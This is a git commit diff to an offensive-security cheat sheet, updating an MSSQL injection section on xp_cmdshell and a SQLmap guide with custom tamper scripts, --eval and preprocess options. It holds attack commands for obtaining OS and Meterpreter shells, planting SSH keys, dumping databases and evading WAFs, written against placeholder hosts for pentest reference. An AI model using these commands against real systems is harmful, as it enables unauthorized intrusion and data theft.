SQLmap Custom Tamper and Preprocess Scripts

This commit is contained in:
Swissky 2025-04-09 11:14:37 +02:00
parent 8379e65ce0
commit 7eb75cead5
3 changed files with 133 additions and 20 deletions

View file

@ -1,5 +1,5 @@
name: check-markdown
on: [pull_request]
on: [push, pull_request]
jobs:
lint:

View file

@ -265,17 +265,22 @@ execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'
### XP_CMDSHELL
`xp_cmdshell` is a system stored procedure in Microsoft SQL Server that allows you to run operating system commands directly from within T-SQL (Transact-SQL).
```sql
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
```
If you need to reactivate `xp_cmdshell` (disabled by default in SQL Server 2005)
If you need to reactivate `xp_cmdshell`, it is disabled by default in SQL Server 2005.
```sql
-- Enable advanced options
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```

View file

@ -16,7 +16,11 @@
* [Proxy Configuration For SQLmap](#proxy-configuration-for-sqlmap)
* [Injection Tampering](#injection-tampering)
* [Suffix And Prefix](#suffix-and-prefix)
* [Tamper Scripts](#tamper-scripts)
* [Default Tamper Scripts](#default-tamper-scripts)
* [Custom Tamper Scripts](#custom-tamper-scripts)
* [Custom SQL Payload](#custom-sql-payload)
* [Evaluate Python Code](#evaluate-python-code)
* [Preprocess And Postprocess Scripts](#preprocess-and-postprocess-scripts)
* [Reduce Requests Number](#reduce-requests-number)
* [SQLmap Without SQL Injection](#sqlmap-without-sql-injection)
* [References](#references)
@ -42,7 +46,7 @@ A custom injection point in SQLmap allows you to specify exactly where and how S
By defining a custom injection point with the wildcard character '`*`' , you have finer control over the testing process, ensuring SQLmap targets specific parts of the request you suspect to be vulnerable.
```powershell
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
```
## Second Order Injection
@ -59,25 +63,25 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrat
* SQL Shell:
```ps1
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
sqlmap -u "http://example.com/?id=1" -p id --sql-shell
```
* OS Shell:
```ps1
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
sqlmap -u "http://example.com/?id=1" -p id --os-shell
```
* Meterpreter:
```ps1
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
sqlmap -u "http://example.com/?id=1" -p id --os-pwn
```
* SSH Shell:
```ps1
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
```
## Crawl And Auto-Exploit
@ -128,21 +132,25 @@ In SQLmap, tampering can help you adjust the injection in specific ways required
### Suffix And Prefix
The `--suffix` and `--prefix` options allow you to specify additional strings that should be appended or prepended to the payloads generated by SQLMap. These options can be useful when the target application requires specific formatting or when you need to bypass certain filters or protections.
```powershell
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
sqlmap -u "http://example.com/?id=1" -p id --suffix="-- "
```
* `--suffix=SUFFIX`: Injection payload suffix string
* `--prefix=PREFIX`: Injection payload prefix string
* `--suffix=SUFFIX`: The `--suffix` option appends a specified string to the end of each payload generated by SQLMap.
* `--prefix=PREFIX`: The `--prefix` option prepends a specified string to the beginning of each payload generated by SQLMap.
### Tamper Scripts
### Default Tamper Scripts
A tamper script is a script that modifies the SQL injection payloads to evade detection by WAFs or other security mechanisms. SQLmap comes with a variety of pre-built tamper scripts that can be used to automatically adjust payloads
```powershell
sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=space2comment
sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=<tamper-script-name>
```
Below is a table highlighting some of the most commonly used tamper scripts:
| Tamper | Description |
| --- | --- |
|0x2char.py | Replaces each (MySQL) 0xHEX encoded string with equivalent CONCAT(CHAR(),…) counterpart |
@ -166,11 +174,11 @@ sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=space2comm
|escapequotes.py | Slash escape quotes (' and ") |
|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
|htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. -> &#39;) |
|ifnull2casewhenisnull.py | Replaces instances like IFNULL(A, B) with CASE WHEN ISNULL(A) THEN (B) ELSE (A) END counterpart|
|htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> &#39;) |
|ifnull2casewhenisnull.py | Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart|
|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
|informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier |
|least.py | Replaces greater than operator (>) with LEAST counterpart |
|informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier |
|least.py | Replaces greater than operator ('>') with 'LEAST' counterpart |
|lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) |
|modsecurityversioned.py | Embraces complete query with versioned comment |
|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
@ -179,8 +187,8 @@ sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=space2comm
|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
|overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
|percentage.py | Adds a percentage sign ('%') infront of each character |
|plus2concat.py | Replaces plus operator (+) with (MsSQL) function CONCAT() counterpart |
|plus2fnconcat.py | Replaces plus operator (+) with (MsSQL) ODBC function {fn CONCAT()} counterpart |
|plus2concat.py | Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart |
|plus2fnconcat.py | Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart |
|randomcase.py | Replaces each keyword character with random case value |
|randomcomments.py | Add random comments to SQL keywords|
|securesphere.py | Appends special crafted string |
@ -204,6 +212,106 @@ sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=space2comm
|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
### Custom Tamper Scripts
When creating a custom tamper script, there are a few things to keep in mind. The script architecture contains these mandatory variables and functions:
* `__priority__`: Defines the order in which tamper scripts are applied. This sets how early or late SQLmap should apply your tamper script in the tamper pipeline. Normal priority is 0 and the highest is 100.
* `dependencies()`: This function gets called before the tamper script is used.
* `tamper(payload)`: The main function that modifies the payload.
The following code is an example of a tamper script that replace instances like '`LIMIT M, N`' with '`LIMIT N OFFSET M`' counterpart:
```py
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
retVal = payload
match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "")
if match:
retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1)))
return retVal
```
* Save it as something like: `mytamper.py`
* Place it inside SQLmap's `tamper/` directory, typically:
```ps1
/usr/share/sqlmap/tamper/
```
* Use it with SQLmap
```ps1
sqlmap -u "http://target.com/vuln.php?id=1" --tamper=mytamper
```
### Custom SQL Payload
The `--sql-query` option in SQLmap is used to manually run your own SQL query on a vulnerable database after SQLmap has confirmed the injection and gathered necessary access.
```ps1
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
```
### Evaluate Python Code
The `--eval` option lets you define or modify request parameters using Python. The evaluated variables can then be used inside the URL, headers, cookies, etc.
Particularly useful in scenarios such as:
* **Dynamic parameters**: When a parameter needs to be randomly or sequentially generated.
* **Token generation**: For handling CSRF tokens or dynamic auth headers.
* **Custom logic**: E.g., encoding, encryption, timestamps, etc.
```ps1
sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import random; id=random.randint(1,10)"
sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import hashlib;id2=hashlib.md5(id).hexdigest()"
```
### Preprocess And Postprocess Scripts
```ps1
sqlmap -u 'http://example.com/vulnerable.php?id=1' --preprocess=preprocess.py --postprocess=postprocess.py
```
#### Preprocessing Script (preprocess.py)
The preprocessing script is used to modify the request data before it is sent to the target application. This can be useful for encoding parameters, adding headers, or other request modifications.
```ps1
--preprocess=preprocess.py Use given script(s) for preprocessing (request)
```
**Example preprocess.py**:
```ps1
#!/usr/bin/env python
def preprocess(req):
print("Preprocess")
print(req)
```
#### Postprocessing Script (postprocess.py)
The postprocessing script is used to modify the response data after it is received from the target application. This can be useful for decoding responses, extracting specific data, or other response modifications.
```ps1
--postprocess=postprocess.py Use given script(s) for postprocessing (response)
```
## Reduce Requests Number
The parameter `--test-filter` is helpful when you want to focus on specific types of SQL injection techniques or payloads. Instead of testing the full range of payloads that SQLMap has, you can limit it to those that match a certain pattern, making the process more efficient, especially on large or slow web applications.
@ -232,7 +340,7 @@ Using SQLmap without exploiting SQL injection vulnerabilities can still be usefu
You can use SQLmap to access a database via its port instead of a URL.
```ps1
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all
sqlmap -d "mysql://user:pass@ip/database" --dump-all
```
## References